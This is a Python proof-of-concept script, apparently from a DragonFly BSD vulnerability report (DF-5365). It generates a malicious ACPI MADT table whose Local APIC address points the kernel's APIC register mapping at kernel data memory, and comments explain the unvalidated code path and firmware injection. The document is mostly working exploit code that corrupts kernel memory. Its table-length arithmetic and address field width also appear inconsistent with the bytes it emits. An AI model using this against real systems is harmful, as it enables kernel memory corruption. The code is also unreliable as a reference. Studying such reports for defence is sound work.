#!/usr/bin/env python3
"""
DF-5365: conceptual malicious MADT -- LocalApicAddr points the kernel's
Local APIC register page at an ARBITRARY physical address (here: the
physical page of kernel data, 0x1000000-region on a default DragonFly
boot) instead of the real APIC at 0xFEE00000.

madt_lapic_probe/madt_lapic_enumerate pass this value to lapic_map()
unvalidated (only the value 0 is special-cased, acpi_madt.c:479-487);
lapic_map() (lapic.c:1081-1085) maps it, and lapic_init()'s register
stores (lapic.c:272-408) then write into that page.

Emit: python3 gen_madt.py > df5365_madt.aml  (for reference/firmware
injection on rigs where the platform MADT can be replaced, e.g. patched
SeaBIOS/pflash; -acpitable cannot override QEMU's own APIC table because
sdt_search() returns the first match).
"""
import struct

SIGNATURE = b'APIC'
LOCAL_APIC_ADDR = 0x01000000        # <- attacker-chosen PA (kernel region)
FLAGS = 1                            # PCAT_COMPAT

def local_apic(processor_id, apic_id, flags):
    return struct.pack('<BBBBI', 0, 8, processor_id, apic_id, flags)

body = local_apic(0, 0, 1)           # BSP
body += local_apic(1, 1, 1)          # one AP: keeps enumeration sane so we
                                     # reach lapic_init() and its stores

madt_body = struct.pack('<QI', LOCAL_APIC_ADDR, FLAGS) + body

oem_id = b'DFLY  '
oem_tbl = b'EVILLAPI'
creator = b'INTL'
length = 36 + 8 + len(body) + 8      # header + madt hdr + entries (checksum
                                     # patched after header build)

hdr = SIGNATURE + struct.pack('<I', length) + bytes([3, 1])
hdr += oem_id + oem_tbl + struct.pack('<I', 0) + creator + struct.pack('<I', 0)
assert len(hdr) == 36, len(hdr)

tbl = hdr + madt_body
c = (-sum(tbl)) & 0xFF
tbl = tbl[:9] + bytes([c]) + tbl[10:]
import sys
sys.stdout.buffer.write(tbl)
